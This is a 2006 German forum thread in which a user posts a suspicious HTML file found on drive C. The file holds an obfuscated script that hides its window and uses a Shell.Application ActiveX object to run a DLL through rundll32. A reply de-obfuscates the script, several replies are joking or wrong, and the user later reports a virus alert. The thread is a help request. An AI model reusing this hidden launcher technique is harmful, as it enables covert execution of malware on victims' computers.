Komische Datei gefunden vbsys2.dll, brauche Hilfe

Dieses Thema im Forum "Webentwicklung" wurde erstellt von fissy, 11. März 2006 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 11. März 2006
    Hey Leute, habe bei mir in C eine Datei gefunden, die 777.htm heißt.
    Ka wie die da hingekommen ist, aber sieht schon komisch aus.

    Code:
    <script>window.moveTo(10000,10000)</script>
    <script>
    var o;
    eval('o=new Act'+'iveX'+'Ob'+'ject("S'+'he'+'ll.A'+'pplica'+'tion")');
    eval('o.Sh'+'el'+'lE'+'xe'+'cute("rundll32", "c:\\\\vbsys2.dll start path=c:\\\\vbsys2.dll")');
    
    window.close();
    </script>
    
    Habe leider schon ausgeführt...

    und im anhang die .dll
     
  2. 11. März 2006
    also vielleicht bin ich nur zu dumm aber was willst du eigentlich von uns???? ?(

    Also mal echt!! Finde ich toll dass du in C eine datei gefunden hast die auch noch den mysteriösen namen 777 hat!!

    mmh naja! also ich schreib mal nicht weiter sonst gibts wieder haufenweise 1er

    ne aber bitte!! Drücke dich etwas genauer aus! PLZ dann kann dir auch eher geholfen werden!

    EDIT: Also ich habe mir jetzt dein post ein paar mal durchgelesen und ich kam die idee das du vielleicht dein Laufwerk C meinst und das ist irgendeine verdächtige datei oder so!
    Liege ich denn auf dem richtige Wege mit meiner Spuresuche??
     
  3. 11. März 2006
    So wie es aussieht ist ein Popup der sich in eine bestimmte Position verschiebt, in diesem Falle (1000 x 1000) !

    Hoffentlich konnte ich dir helfen.
     
  4. 11. März 2006
    stimmt auf diese idee bin ich noch nicht gekommen! Kann echt noch gut sein!!
    Aber die Grösse wäre dann 10000x10000! Aber ist ja auch egal! Aber du hast sie ja ausgeführt hast du gesagt, was ist denn so passiert??
     
  5. 11. März 2006
    moep hat gerade die dll gechecked und meint sie wäre ungefährlich.... is aber verschlüsselt.
    Ja die datei liegt in C:\
     
  6. 11. März 2006
    also du willst auf einen virus heraus oder so etwas!

    Dann wäre es zwar das falsche Forum aber kannst du die datei nicht einfach von einem virenprogramm checken lassen?
     
  7. 11. März 2006
    das is eher kein virus, eher was anderes..habe es mit virenscanner + antispyware checken lassen... nix gefunden
     
  8. 11. März 2006
    Ändere die .dll Datei doch mal !
    Erstelle eine .txt Datei mit dem Namen "foxbandistdergrößte.txt" und teste was dann passiert
     
  9. 12. März 2006
    und dann ?(
     
  10. 12. März 2006
    Zuletzt von einem Moderator bearbeitet: 13. April 2017
    Gründe für die Schließung des Themas:

    [x] Sinnloser Titel

    Lies Dir nochmals die Forenregeln bzw. die Undergroundregeln durch.
     
  11. 12. März 2006
    Zuletzt von einem Moderator bearbeitet: 13. April 2017
    beim nächsten mal würd ich den Thread auch wirklich schließen.
    dazu finde ich deine Close Begründung ebärmlich.
    Wie kommse bitte auf Sinnloser Titel?
    Der Titel beschreibt ganz genau eine Datei wobei er nicht weiß was es ist....naja

    hab mir ma das Script angeschaut^^
    Wenn man den kack zusammen fügt kommts auf sowas^^


    <script>window.moveTo(10000,10000)</script>
    <script>
    var o;
    eval('o=new activeXObject("Shell.application")');
    eval('o.ShellExecute("rundll32", "c:\\\\vbsys2.dll start path=c:\\\\vbsys2.dll")');

    ausserdem wird nicht dsa fenster 10000 x 10000 groß sondenr wird an die Position 10000 / 10000 verschoben.
    Müsste mir ma noch die DLL anschauen^^
     
  12. 12. März 2006
    Ja ich habe den Titel editiert und reopened, da mein Problem nicht gelöst worden war.
    Danke für deine Hilfe, aber so weit war ich auch schon, nur kann ich mit der .dll nichts anfangen...
     
  13. 19. März 2006
    Hilfe, ich bin nochmal!
    Heute morgen kam eine Virenmeldung!!!


    Aber ich bekomme die Datein nicht mehr weg!!!
     
  14. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.